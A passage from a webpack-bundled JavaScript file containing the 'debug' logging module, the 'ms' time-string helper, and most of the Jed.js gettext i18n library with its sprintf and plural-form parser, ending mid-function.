 * Localstorage attempts to return the localstorage.
 *
 * This is necessary because safari throws
 * when a user disables cookies/localstorage
 * and you attempt to access it.
 *
 * @return {LocalStorage}
 * @api private
 */

function localstorage() {
  try {
    return window.localStorage;
  } catch (e) {}
}

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 94 */
/***/ (function(module, exports, __webpack_require__) {


/**
 * This is the common logic for both the Node.js and web browser
 * implementations of `debug()`.
 *
 * Expose `debug()` as the module.
 */

exports = module.exports = createDebug.debug = createDebug['default'] = createDebug;
exports.coerce = coerce;
exports.disable = disable;
exports.enable = enable;
exports.enabled = enabled;
exports.humanize = __webpack_require__(95);

/**
 * Active `debug` instances.
 */
exports.instances = [];

/**
 * The currently active debug mode names, and names to skip.
 */

exports.names = [];
exports.skips = [];

/**
 * Map of special "%n" handling functions, for the debug "format" argument.
 *
 * Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".
 */

exports.formatters = {};

/**
 * Select a color.
 * @param {String} namespace
 * @return {Number}
 * @api private
 */

function selectColor(namespace) {
  var hash = 0, i;

  for (i in namespace) {
    hash  = ((hash << 5) - hash) + namespace.charCodeAt(i);
    hash |= 0; // Convert to 32bit integer
  }

  return exports.colors[Math.abs(hash) % exports.colors.length];
}

/**
 * Create a debugger with the given `namespace`.
 *
 * @param {String} namespace
 * @return {Function}
 * @api public
 */

function createDebug(namespace) {

  var prevTime;

  function debug() {
    // disabled?
    if (!debug.enabled) return;

    var self = debug;

    // set `diff` timestamp
    var curr = +new Date();
    var ms = curr - (prevTime || curr);
    self.diff = ms;
    self.prev = prevTime;
    self.curr = curr;
    prevTime = curr;

    // turn the `arguments` into a proper Array
    var args = new Array(arguments.length);
    for (var i = 0; i < args.length; i++) {
      args[i] = arguments[i];
    }

    args[0] = exports.coerce(args[0]);

    if ('string' !== typeof args[0]) {
      // anything else let's inspect with %O
      args.unshift('%O');
    }

    // apply any `formatters` transformations
    var index = 0;
    args[0] = args[0].replace(/%([a-zA-Z%])/g, function(match, format) {
      // if we encounter an escaped % then don't increase the array index
      if (match === '%%') return match;
      index++;
      var formatter = exports.formatters[format];
      if ('function' === typeof formatter) {
        var val = args[index];
        match = formatter.call(self, val);

        // now we need to remove `args[index]` since it's inlined in the `format`
        args.splice(index, 1);
        index--;
      }
      return match;
    });

    // apply env-specific formatting (colors, etc.)
    exports.formatArgs.call(self, args);

    var logFn = debug.log || exports.log || console.log.bind(console);
    logFn.apply(self, args);
  }

  debug.namespace = namespace;
  debug.enabled = exports.enabled(namespace);
  debug.useColors = exports.useColors();
  debug.color = selectColor(namespace);
  debug.destroy = destroy;

  // env-specific initialization logic for debug instances
  if ('function' === typeof exports.init) {
    exports.init(debug);
  }

  exports.instances.push(debug);

  return debug;
}

function destroy () {
  var index = exports.instances.indexOf(this);
  if (index !== -1) {
    exports.instances.splice(index, 1);
    return true;
  } else {
    return false;
  }
}

/**
 * Enables a debug mode by namespaces. This can include modes
 * separated by a colon and wildcards.
 *
 * @param {String} namespaces
 * @api public
 */

function enable(namespaces) {
  exports.save(namespaces);

  exports.names = [];
  exports.skips = [];

  var i;
  var split = (typeof namespaces === 'string' ? namespaces : '').split(/[\s,]+/);
  var len = split.length;

  for (i = 0; i < len; i++) {
    if (!split[i]) continue; // ignore empty strings
    namespaces = split[i].replace(/\*/g, '.*?');
    if (namespaces[0] === '-') {
      exports.skips.push(new RegExp('^' + namespaces.substr(1) + '$'));
    } else {
      exports.names.push(new RegExp('^' + namespaces + '$'));
    }
  }

  for (i = 0; i < exports.instances.length; i++) {
    var instance = exports.instances[i];
    instance.enabled = exports.enabled(instance.namespace);
  }
}

/**
 * Disable debug output.
 *
 * @api public
 */

function disable() {
  exports.enable('');
}

/**
 * Returns true if the given mode name is enabled, false otherwise.
 *
 * @param {String} name
 * @return {Boolean}
 * @api public
 */

function enabled(name) {
  if (name[name.length - 1] === '*') {
    return true;
  }
  var i, len;
  for (i = 0, len = exports.skips.length; i < len; i++) {
    if (exports.skips[i].test(name)) {
      return false;
    }
  }
  for (i = 0, len = exports.names.length; i < len; i++) {
    if (exports.names[i].test(name)) {
      return true;
    }
  }
  return false;
}

/**
 * Coerce `val`.
 *
 * @param {Mixed} val
 * @return {Mixed}
 * @api private
 */

function coerce(val) {
  if (val instanceof Error) return val.stack || val.message;
  return val;
}


/***/ }),
/* 95 */
/***/ (function(module, exports) {

/**
 * Helpers.
 */

var s = 1000;
var m = s * 60;
var h = m * 60;
var d = h * 24;
var y = d * 365.25;

/**
 * Parse or format the given `val`.
 *
 * Options:
 *
 *  - `long` verbose formatting [false]
 *
 * @param {String|Number} val
 * @param {Object} [options]
 * @throws {Error} throw an error if val is not a non-empty string or a number
 * @return {String|Number}
 * @api public
 */

module.exports = function(val, options) {
  options = options || {};
  var type = typeof val;
  if (type === 'string' && val.length > 0) {
    return parse(val);
  } else if (type === 'number' && isNaN(val) === false) {
    return options.long ? fmtLong(val) : fmtShort(val);
  }
  throw new Error(
    'val is not a non-empty string or a valid number. val=' +
      JSON.stringify(val)
  );
};

/**
 * Parse the given `str` and return milliseconds.
 *
 * @param {String} str
 * @return {Number}
 * @api private
 */

function parse(str) {
  str = String(str);
  if (str.length > 100) {
    return;
  }
  var match = /^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(
    str
  );
  if (!match) {
    return;
  }
  var n = parseFloat(match[1]);
  var type = (match[2] || 'ms').toLowerCase();
  switch (type) {
    case 'years':
    case 'year':
    case 'yrs':
    case 'yr':
    case 'y':
      return n * y;
    case 'days':
    case 'day':
    case 'd':
      return n * d;
    case 'hours':
    case 'hour':
    case 'hrs':
    case 'hr':
    case 'h':
      return n * h;
    case 'minutes':
    case 'minute':
    case 'mins':
    case 'min':
    case 'm':
      return n * m;
    case 'seconds':
    case 'second':
    case 'secs':
    case 'sec':
    case 's':
      return n * s;
    case 'milliseconds':
    case 'millisecond':
    case 'msecs':
    case 'msec':
    case 'ms':
      return n;
    default:
      return undefined;
  }
}

/**
 * Short format for `ms`.
 *
 * @param {Number} ms
 * @return {String}
 * @api private
 */

function fmtShort(ms) {
  if (ms >= d) {
    return Math.round(ms / d) + 'd';
  }
  if (ms >= h) {
    return Math.round(ms / h) + 'h';
  }
  if (ms >= m) {
    return Math.round(ms / m) + 'm';
  }
  if (ms >= s) {
    return Math.round(ms / s) + 's';
  }
  return ms + 'ms';
}

/**
 * Long format for `ms`.
 *
 * @param {Number} ms
 * @return {String}
 * @api private
 */

function fmtLong(ms) {
  return plural(ms, d, 'day') ||
    plural(ms, h, 'hour') ||
    plural(ms, m, 'minute') ||
    plural(ms, s, 'second') ||
    ms + ' ms';
}

/**
 * Pluralization helper.
 */

function plural(ms, n, name) {
  if (ms < n) {
    return;
  }
  if (ms < n * 1.5) {
    return Math.floor(ms / n) + ' ' + name;
  }
  return Math.ceil(ms / n) + ' ' + name + 's';
}


/***/ }),
/* 96 */
/***/ (function(module, exports, __webpack_require__) {

/**
 * @preserve jed.js v0.5.0beta https://github.com/SlexAxton/Jed
 */
/*
-----------
A gettext compatible i18n library for modern JavaScript Applications

by Alex Sexton - AlexSexton [at] gmail - @SlexAxton
WTFPL license for use
Dojo CLA for contributions

Jed offers the entire applicable GNU gettext spec'd set of
functions, but also offers some nicer wrappers around them.
The api for gettext was written for a language with no function
overloading, so Jed allows a little more of that.

Many thanks to Joshua I. Miller - unrtst@cpan.org - who wrote
gettext.js back in 2008. I was able to vet a lot of my ideas
against his. I also made sure Jed passed against his tests
in order to offer easy upgrades -- jsgettext.berlios.de
*/
(function (root, undef) {

  // Set up some underscore-style functions, if you already have
  // underscore, feel free to delete this section, and use it
  // directly, however, the amount of functions used doesn't
  // warrant having underscore as a full dependency.
  // Underscore 1.3.0 was used to port and is licensed
  // under the MIT License by Jeremy Ashkenas.
  var ArrayProto    = Array.prototype,
      ObjProto      = Object.prototype,
      slice         = ArrayProto.slice,
      hasOwnProp    = ObjProto.hasOwnProperty,
      nativeForEach = ArrayProto.forEach,
      breaker       = {};

  // We're not using the OOP style _ so we don't need the
  // extra level of indirection. This still means that you
  // sub out for real `_` though.
  var _ = {
    forEach : function( obj, iterator, context ) {
      var i, l, key;
      if ( obj === null ) {
        return;
      }

      if ( nativeForEach && obj.forEach === nativeForEach ) {
        obj.forEach( iterator, context );
      }
      else if ( obj.length === +obj.length ) {
        for ( i = 0, l = obj.length; i < l; i++ ) {
          if ( i in obj && iterator.call( context, obj[i], i, obj ) === breaker ) {
            return;
          }
        }
      }
      else {
        for ( key in obj) {
          if ( hasOwnProp.call( obj, key ) ) {
            if ( iterator.call (context, obj[key], key, obj ) === breaker ) {
              return;
            }
          }
        }
      }
    },
    extend : function( obj ) {
      this.forEach( slice.call( arguments, 1 ), function ( source ) {
        for ( var prop in source ) {
          obj[prop] = source[prop];
        }
      });
      return obj;
    }
  };
  // END Miniature underscore impl

  // Jed is a constructor function
  var Jed = function ( options ) {
    // Some minimal defaults
    this.defaults = {
      "locale_data" : {
        "messages" : {
          "" : {
            "domain"       : "messages",
            "lang"         : "en",
            "plural_forms" : "nplurals=2; plural=(n != 1);"
          }
          // There are no default keys, though
        }
      },
      // The default domain if one is missing
      "domain" : "messages",
      // enable debug mode to log untranslated strings to the console
      "debug" : false
    };

    // Mix in the sent options with the default options
    this.options = _.extend( {}, this.defaults, options );
    this.textdomain( this.options.domain );

    if ( options.domain && ! this.options.locale_data[ this.options.domain ] ) {
      throw new Error('Text domain set to non-existent domain: `' + options.domain + '`');
    }
  };

  // The gettext spec sets this character as the default
  // delimiter for context lookups.
  // e.g.: context\u0004key
  // If your translation company uses something different,
  // just change this at any time and it will use that instead.
  Jed.context_delimiter = String.fromCharCode( 4 );

  function getPluralFormFunc ( plural_form_string ) {
    return Jed.PF.compile( plural_form_string || "nplurals=2; plural=(n != 1);");
  }

  function Chain( key, i18n ){
    this._key = key;
    this._i18n = i18n;
  }

  // Create a chainable api for adding args prettily
  _.extend( Chain.prototype, {
    onDomain : function ( domain ) {
      this._domain = domain;
      return this;
    },
    withContext : function ( context ) {
      this._context = context;
      return this;
    },
    ifPlural : function ( num, pkey ) {
      this._val = num;
      this._pkey = pkey;
      return this;
    },
    fetch : function ( sArr ) {
      if ( {}.toString.call( sArr ) != '[object Array]' ) {
        sArr = [].slice.call(arguments, 0);
      }
      return ( sArr && sArr.length ? Jed.sprintf : function(x){ return x; } )(
        this._i18n.dcnpgettext(this._domain, this._context, this._key, this._pkey, this._val),
        sArr
      );
    }
  });

  // Add functions to the Jed prototype.
  // These will be the functions on the object that's returned
  // from creating a `new Jed()`
  // These seem redundant, but they gzip pretty well.
  _.extend( Jed.prototype, {
    // The sexier api start point
    translate : function ( key ) {
      return new Chain( key, this );
    },

    textdomain : function ( domain ) {
      if ( ! domain ) {
        return this._textdomain;
      }
      this._textdomain = domain;
    },

    gettext : function ( key ) {
      return this.dcnpgettext.call( this, undef, undef, key );
    },

    dgettext : function ( domain, key ) {
     return this.dcnpgettext.call( this, domain, undef, key );
    },

    dcgettext : function ( domain , key /*, category */ ) {
      // Ignores the category anyways
      return this.dcnpgettext.call( this, domain, undef, key );
    },

    ngettext : function ( skey, pkey, val ) {
      return this.dcnpgettext.call( this, undef, undef, skey, pkey, val );
    },

    dngettext : function ( domain, skey, pkey, val ) {
      return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );
    },

    dcngettext : function ( domain, skey, pkey, val/*, category */) {
      return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );
    },

    pgettext : function ( context, key ) {
      return this.dcnpgettext.call( this, undef, context, key );
    },

    dpgettext : function ( domain, context, key ) {
      return this.dcnpgettext.call( this, domain, context, key );
    },

    dcpgettext : function ( domain, context, key/*, category */) {
      return this.dcnpgettext.call( this, domain, context, key );
    },

    npgettext : function ( context, skey, pkey, val ) {
      return this.dcnpgettext.call( this, undef, context, skey, pkey, val );
    },

    dnpgettext : function ( domain, context, skey, pkey, val ) {
      return this.dcnpgettext.call( this, domain, context, skey, pkey, val );
    },

    // The most fully qualified gettext function. It has every option.
    // Since it has every option, we can use it from every other method.
    // This is the bread and butter.
    // Technically there should be one more argument in this function for 'Category',
    // but since we never use it, we might as well not waste the bytes to define it.
    dcnpgettext : function ( domain, context, singular_key, plural_key, val ) {
      // Set some defaults

      plural_key = plural_key || singular_key;

      // Use the global domain default if one
      // isn't explicitly passed in
      domain = domain || this._textdomain;

      var fallback;

      // Handle special cases

      // No options found
      if ( ! this.options ) {
        // There's likely something wrong, but we'll return the correct key for english
        // We do this by instantiating a brand new Jed instance with the default set
        // for everything that could be broken.
        fallback = new Jed();
        return fallback.dcnpgettext.call( fallback, undefined, undefined, singular_key, plural_key, val );
      }

      // No translation data provided
      if ( ! this.options.locale_data ) {
        throw new Error('No locale data provided.');
      }

      if ( ! this.options.locale_data[ domain ] ) {
        throw new Error('Domain `' + domain + '` was not found.');
      }

      if ( ! this.options.locale_data[ domain ][ "" ] ) {
        throw new Error('No locale meta information provided.');
      }

      // Make sure we have a truthy key. Otherwise we might start looking
      // into the empty string key, which is the options for the locale
      // data.
      if ( ! singular_key ) {
        throw new Error('No translation key found.');
      }

      var key  = context ? context + Jed.context_delimiter + singular_key : singular_key,
          locale_data = this.options.locale_data,
          dict = locale_data[ domain ],
          defaultConf = (locale_data.messages || this.defaults.locale_data.messages)[""],
          pluralForms = dict[""].plural_forms || dict[""]["Plural-Forms"] || dict[""]["plural-forms"] || defaultConf.plural_forms || defaultConf["Plural-Forms"] || defaultConf["plural-forms"],
          val_list,
          res;

      var val_idx;
      if (val === undefined) {
        // No value passed in; assume singular key lookup.
        val_idx = 1;

      } else {
        // Value has been passed in; use plural-forms calculations.

        // Handle invalid numbers, but try casting strings for good measure
        if ( typeof val != 'number' ) {
          val = parseInt( val, 10 );

          if ( isNaN( val ) ) {
            throw new Error('The number that was passed in is not a number.');
          }
        }

        val_idx = getPluralFormFunc(pluralForms)(val) + 1;
      }

      // Throw an error if a domain isn't found
      if ( ! dict ) {
        throw new Error('No domain named `' + domain + '` could be found.');
      }

      val_list = dict[ key ];

      // If there is no match, then revert back to
      // english style singular/plural with the keys passed in.
      if ( ! val_list || val_idx >= val_list.length ) {
        if (this.options.missing_key_callback) {
          this.options.missing_key_callback(key, domain);
        }
        res = [ null, singular_key, plural_key ];

        // collect untranslated strings
        if (this.options.debug===true) {
          console.log(res[ getPluralFormFunc(pluralForms)( val ) + 1 ]);
        }
        return res[ getPluralFormFunc()( val ) + 1 ];
      }

      res = val_list[ val_idx ];

      // This includes empty strings on purpose
      if ( ! res  ) {
        res = [ null, singular_key, plural_key ];
        return res[ getPluralFormFunc()( val ) + 1 ];
      }
      return res;
    }
  });


  // We add in sprintf capabilities for post translation value interolation
  // This is not internally used, so you can remove it if you have this
  // available somewhere else, or want to use a different system.

  // We _slightly_ modify the normal sprintf behavior to more gracefully handle
  // undefined values.

  /**
   sprintf() for JavaScript 0.7-beta1
   http://www.diveintojavascript.com/projects/javascript-sprintf

   Copyright (c) Alexandru Marasteanu <alexaholic [at) gmail (dot] com>
   All rights reserved.

   Redistribution and use in source and binary forms, with or without
   modification, are permitted provided that the following conditions are met:
       * Redistributions of source code must retain the above copyright
         notice, this list of conditions and the following disclaimer.
       * Redistributions in binary form must reproduce the above copyright
         notice, this list of conditions and the following disclaimer in the
         documentation and/or other materials provided with the distribution.
       * Neither the name of sprintf() for JavaScript nor the
         names of its contributors may be used to endorse or promote products
         derived from this software without specific prior written permission.

   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
   DISCLAIMED. IN NO EVENT SHALL Alexandru Marasteanu BE LIABLE FOR ANY
   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
   LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
   ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  */
  var sprintf = (function() {
    function get_type(variable) {
      return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();
    }
    function str_repeat(input, multiplier) {
      for (var output = []; multiplier > 0; output[--multiplier] = input) {/* do nothing */}
      return output.join('');
    }

    var str_format = function() {
      if (!str_format.cache.hasOwnProperty(arguments[0])) {
        str_format.cache[arguments[0]] = str_format.parse(arguments[0]);
      }
      return str_format.format.call(null, str_format.cache[arguments[0]], arguments);
    };

    str_format.format = function(parse_tree, argv) {
      var cursor = 1, tree_length = parse_tree.length, node_type = '', arg, output = [], i, k, match, pad, pad_character, pad_length;
      for (i = 0; i < tree_length; i++) {
        node_type = get_type(parse_tree[i]);
        if (node_type === 'string') {
          output.push(parse_tree[i]);
        }
        else if (node_type === 'array') {
          match = parse_tree[i]; // convenience purposes only
          if (match[2]) { // keyword argument
            arg = argv[cursor];
            for (k = 0; k < match[2].length; k++) {
              if (!arg.hasOwnProperty(match[2][k])) {
                throw(sprintf('[sprintf] property "%s" does not exist', match[2][k]));
              }
              arg = arg[match[2][k]];
            }
          }
          else if (match[1]) { // positional argument (explicit)
            arg = argv[match[1]];
          }
          else { // positional argument (implicit)
            arg = argv[cursor++];
          }

          if (/[^s]/.test(match[8]) && (get_type(arg) != 'number')) {
            throw(sprintf('[sprintf] expecting number but found %s', get_type(arg)));
          }

          // Jed EDIT
          if ( typeof arg == 'undefined' || arg === null ) {
            arg = '';
          }
          // Jed EDIT

          switch (match[8]) {
            case 'b': arg = arg.toString(2); break;
            case 'c': arg = String.fromCharCode(arg); break;
            case 'd': arg = parseInt(arg, 10); break;
            case 'e': arg = match[7] ? arg.toExponential(match[7]) : arg.toExponential(); break;
            case 'f': arg = match[7] ? parseFloat(arg).toFixed(match[7]) : parseFloat(arg); break;
            case 'o': arg = arg.toString(8); break;
            case 's': arg = ((arg = String(arg)) && match[7] ? arg.substring(0, match[7]) : arg); break;
            case 'u': arg = Math.abs(arg); break;
            case 'x': arg = arg.toString(16); break;
            case 'X': arg = arg.toString(16).toUpperCase(); break;
          }
          arg = (/[def]/.test(match[8]) && match[3] && arg >= 0 ? '+'+ arg : arg);
          pad_character = match[4] ? match[4] == '0' ? '0' : match[4].charAt(1) : ' ';
          pad_length = match[6] - String(arg).length;
          pad = match[6] ? str_repeat(pad_character, pad_length) : '';
          output.push(match[5] ? arg + pad : pad + arg);
        }
      }
      return output.join('');
    };

    str_format.cache = {};

    str_format.parse = function(fmt) {
      var _fmt = fmt, match = [], parse_tree = [], arg_names = 0;
      while (_fmt) {
        if ((match = /^[^\x25]+/.exec(_fmt)) !== null) {
          parse_tree.push(match[0]);
        }
        else if ((match = /^\x25{2}/.exec(_fmt)) !== null) {
          parse_tree.push('%');
        }
        else if ((match = /^\x25(?:([1-9]\d*)\$|\(([^\)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-fosuxX])/.exec(_fmt)) !== null) {
          if (match[2]) {
            arg_names |= 1;
            var field_list = [], replacement_field = match[2], field_match = [];
            if ((field_match = /^([a-z_][a-z_\d]*)/i.exec(replacement_field)) !== null) {
              field_list.push(field_match[1]);
              while ((replacement_field = replacement_field.substring(field_match[0].length)) !== '') {
                if ((field_match = /^\.([a-z_][a-z_\d]*)/i.exec(replacement_field)) !== null) {
                  field_list.push(field_match[1]);
                }
                else if ((field_match = /^\[(\d+)\]/.exec(replacement_field)) !== null) {
                  field_list.push(field_match[1]);
                }
                else {
                  throw('[sprintf] huh?');
                }
              }
            }
            else {
              throw('[sprintf] huh?');
            }
            match[2] = field_list;
          }
          else {
            arg_names |= 2;
          }
          if (arg_names === 3) {
            throw('[sprintf] mixing positional and named placeholders is not (yet) supported');
          }
          parse_tree.push(match);
        }
        else {
          throw('[sprintf] huh?');
        }
        _fmt = _fmt.substring(match[0].length);
      }
      return parse_tree;
    };

    return str_format;
  })();

  var vsprintf = function(fmt, argv) {
    argv.unshift(fmt);
    return sprintf.apply(null, argv);
  };

  Jed.parse_plural = function ( plural_forms, n ) {
    plural_forms = plural_forms.replace(/n/g, n);
    return Jed.parse_expression(plural_forms);
  };

  Jed.sprintf = function ( fmt, args ) {
    if ( {}.toString.call( args ) == '[object Array]' ) {
      return vsprintf( fmt, [].slice.call(args) );
    }
    return sprintf.apply(this, [].slice.call(arguments) );
  };

  Jed.prototype.sprintf = function () {
    return Jed.sprintf.apply(this, arguments);
  };
  // END sprintf Implementation

  // Start the Plural forms section
  // This is a full plural form expression parser. It is used to avoid
  // running 'eval' or 'new Function' directly against the plural
  // forms.
  //
  // This can be important if you get translations done through a 3rd
  // party vendor. I encourage you to use this instead, however, I
  // also will provide a 'precompiler' that you can use at build time
  // to output valid/safe function representations of the plural form
  // expressions. This means you can build this code out for the most
  // part.
  Jed.PF = {};

  Jed.PF.parse = function ( p ) {
    var plural_str = Jed.PF.extractPluralExpr( p );
    return Jed.PF.parser.parse.call(Jed.PF.parser, plural_str);
  };

  Jed.PF.compile = function ( p ) {
    // Handle trues and falses as 0 and 1
    function imply( val ) {
      return (val === true ? 1 : val ? val : 0);
    }

    var ast = Jed.PF.parse( p );
    return function ( n ) {
      return imply( Jed.PF.interpreter( ast )( n ) );
    };
  };

  Jed.PF.interpreter = function ( ast ) {
    return function ( n ) {
      var res;
      switch ( ast.type ) {
        case 'GROUP':
          return Jed.PF.interpreter( ast.expr )( n );
        case 'TERNARY':
          if ( Jed.PF.interpreter( ast.expr )( n ) ) {
            return Jed.PF.interpreter( ast.truthy )( n );
          }
          return Jed.PF.interpreter( ast.falsey )( n );
        case 'OR':
          return Jed.PF.interpreter( ast.left )( n ) || Jed.PF.interpreter( ast.right )( n );
        case 'AND':
          return Jed.PF.interpreter( ast.left )( n ) && Jed.PF.interpreter( ast.right )( n );
        case 'LT':
          return Jed.PF.interpreter( ast.left )( n ) < Jed.PF.interpreter( ast.right )( n );
        case 'GT':
          return Jed.PF.interpreter( ast.left )( n ) > Jed.PF.interpreter( ast.right )( n );
        case 'LTE':
          return Jed.PF.interpreter( ast.left )( n ) <= Jed.PF.interpreter( ast.right )( n );
        case 'GTE':
          return Jed.PF.interpreter( ast.left )( n ) >= Jed.PF.interpreter( ast.right )( n );
        case 'EQ':
          return Jed.PF.interpreter( ast.left )( n ) == Jed.PF.interpreter( ast.right )( n );
        case 'NEQ':
          return Jed.PF.interpreter( ast.left )( n ) != Jed.PF.interpreter( ast.right )( n );
        case 'MOD':
          return Jed.PF.interpreter( ast.left )( n ) % Jed.PF.interpreter( ast.right )( n );
        case 'VAR':
          return n;
        case 'NUM':
          return ast.val;
        default:
          throw new Error("Invalid Token found.");
      }
    };
  };

  Jed.PF.extractPluralExpr = function ( p ) {
    // trim first
    p = p.replace(/^\s\s*/, '').replace(/\s\s*$/, '');

    if (! /;\s*$/.test(p)) {
      p = p.concat(';');
    }

    var nplurals_re = /nplurals\=(\d+);/,
        plural_re = /plural\=(.*);/,
        nplurals_matches = p.match( nplurals_re ),
        res = {},
        plural_matches;

    // Find the nplurals number
    if ( nplurals_matches.length > 1 ) {
      res.nplurals = nplurals_matches[1];
    }
    else {
      throw new Error('nplurals not found in plural_forms string: ' + p );
    }

    // remove that data to get to the formula
    p = p.replace( nplurals_re, "" );
    plural_matches = p.match( plural_re );

    if (!( plural_matches && plural_matches.length > 1 ) ) {
      throw new Error('`plural` expression not found: ' + p);
    }
    return plural_matches[ 1 ];
  };

  /* Jison generated parser */
  Jed.PF.parser = (function(){

var parser = {trace: function trace() { },
yy: {},
symbols_: {"error":2,"expressions":3,"e":4,"EOF":5,"?":6,":":7,"||":8,"&&":9,"<":10,"<=":11,">":12,">=":13,"!=":14,"==":15,"%":16,"(":17,")":18,"n":19,"NUMBER":20,"$accept":0,"$end":1},
terminals_: {2:"error",5:"EOF",6:"?",7:":",8:"||",9:"&&",10:"<",11:"<=",12:">",13:">=",14:"!=",15:"==",16:"%",17:"(",18:")",19:"n",20:"NUMBER"},
productions_: [0,[3,2],[4,5],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,1],[4,1]],
performAction: function anonymous(yytext,yyleng,yylineno,yy,yystate,$$,_$) {

var $0 = $$.length - 1;
switch (yystate) {
case 1: return { type : 'GROUP', expr: $$[$0-1] };
break;
case 2:this.$ = { type: 'TERNARY', expr: $$[$0-4], truthy : $$[$0-2], falsey: $$[$0] };
break;
case 3:this.$ = { type: "OR", left: $$[$0-2], right: $$[$0] };
break;
case 4:this.$ = { type: "AND", left: $$[$0-2], right: $$[$0] };
break;
case 5:this.$ = { type: 'LT', left: $$[$0-2], right: $$[$0] };
break;
case 6:this.$ = { type: 'LTE', left: $$[$0-2], right: $$[$0] };
break;
case 7:this.$ = { type: 'GT', left: $$[$0-2], right: $$[$0] };
break;
case 8:this.$ = { type: 'GTE', left: $$[$0-2], right: $$[$0] };
break;
case 9:this.$ = { type: 'NEQ', left: $$[$0-2], right: $$[$0] };
break;
case 10:this.$ = { type: 'EQ', left: $$[$0-2], right: $$[$0] };
break;
case 11:this.$ = { type: 'MOD', left: $$[$0-2], right: $$[$0] };
break;
case 12:this.$ = { type: 'GROUP', expr: $$[$0-1] };
break;
case 13:this.$ = { type: 'VAR' };
break;
case 14:this.$ = { type: 'NUM', val: Number(yytext) };
break;
}
},
table: [{3:1,4:2,17:[1,3],19:[1,4],20:[1,5]},{1:[3]},{5:[1,6],6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{4:17,17:[1,3],19:[1,4],20:[1,5]},{5:[2,13],6:[2,13],7:[2,13],8:[2,13],9:[2,13],10:[2,13],11:[2,13],12:[2,13],13:[2,13],14:[2,13],15:[2,13],16:[2,13],18:[2,13]},{5:[2,14],6:[2,14],7:[2,14],8:[2,14],9:[2,14],10:[2,14],11:[2,14],12:[2,14],13:[2,14],14:[2,14],15:[2,14],16:[2,14],18:[2,14]},{1:[2,1]},{4:18,17:[1,3],19:[1,4],20:[1,5]},{4:19,17:[1,3],19:[1,4],20:[1,5]},{4:20,17:[1,3],19:[1,4],20:[1,5]},{4:21,17:[1,3],19:[1,4],20:[1,5]},{4:22,17:[1,3],19:[1,4],20:[1,5]},{4:23,17:[1,3],19:[1,4],20:[1,5]},{4:24,17:[1,3],19:[1,4],20:[1,5]},{4:25,17:[1,3],19:[1,4],20:[1,5]},{4:26,17:[1,3],19:[1,4],20:[1,5]},{4:27,17:[1,3],19:[1,4],20:[1,5]},{6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[1,28]},{6:[1,7],7:[1,29],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{5:[2,3],6:[2,3],7:[2,3],8:[2,3],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,3]},{5:[2,4],6:[2,4],7:[2,4],8:[2,4],9:[2,4],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,4]},{5:[2,5],6:[2,5],7:[2,5],8:[2,5],9:[2,5],10:[2,5],11:[2,5],12:[2,5],13:[2,5],14:[2,5],15:[2,5],16:[1,16],18:[2,5]},{5:[2,6],6:[2,6],7:[2,6],8:[2,6],9:[2,6],10:[2,6],11:[2,6],12:[2,6],13:[2,6],14:[2,6],15:[2,6],16:[1,16],18:[2,6]},{5:[2,7],6:[2,7],7:[2,7],8:[2,7],9:[2,7],10:[2,7],11:[2,7],12:[2,7],13:[2,7],14:[2,7],15:[2,7],16:[1,16],18:[2,7]},{5:[2,8],6:[2,8],7:[2,8],8:[2,8],9:[2,8],10:[2,8],11:[2,8],12:[2,8],13:[2,8],14:[2,8],15:[2,8],16:[1,16],18:[2,8]},{5:[2,9],6:[2,9],7:[2,9],8:[2,9],9:[2,9],10:[2,9],11:[2,9],12:[2,9],13:[2,9],14:[2,9],15:[2,9],16:[1,16],18:[2,9]},{5:[2,10],6:[2,10],7:[2,10],8:[2,10],9:[2,10],10:[2,10],11:[2,10],12:[2,10],13:[2,10],14:[2,10],15:[2,10],16:[1,16],18:[2,10]},{5:[2,11],6:[2,11],7:[2,11],8:[2,11],9:[2,11],10:[2,11],11:[2,11],12:[2,11],13:[2,11],14:[2,11],15:[2,11],16:[2,11],18:[2,11]},{5:[2,12],6:[2,12],7:[2,12],8:[2,12],9:[2,12],10:[2,12],11:[2,12],12:[2,12],13:[2,12],14:[2,12],15:[2,12],16:[2,12],18:[2,12]},{4:30,17:[1,3],19:[1,4],20:[1,5]},{5:[2,2],6:[1,7],7:[2,2],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,2]}],
defaultActions: {6:[2,1]},
parseError: function parseError(str, hash) {
    throw new Error(str);
},
parse: function parse(input) {
    var self = this,
        stack = [0],
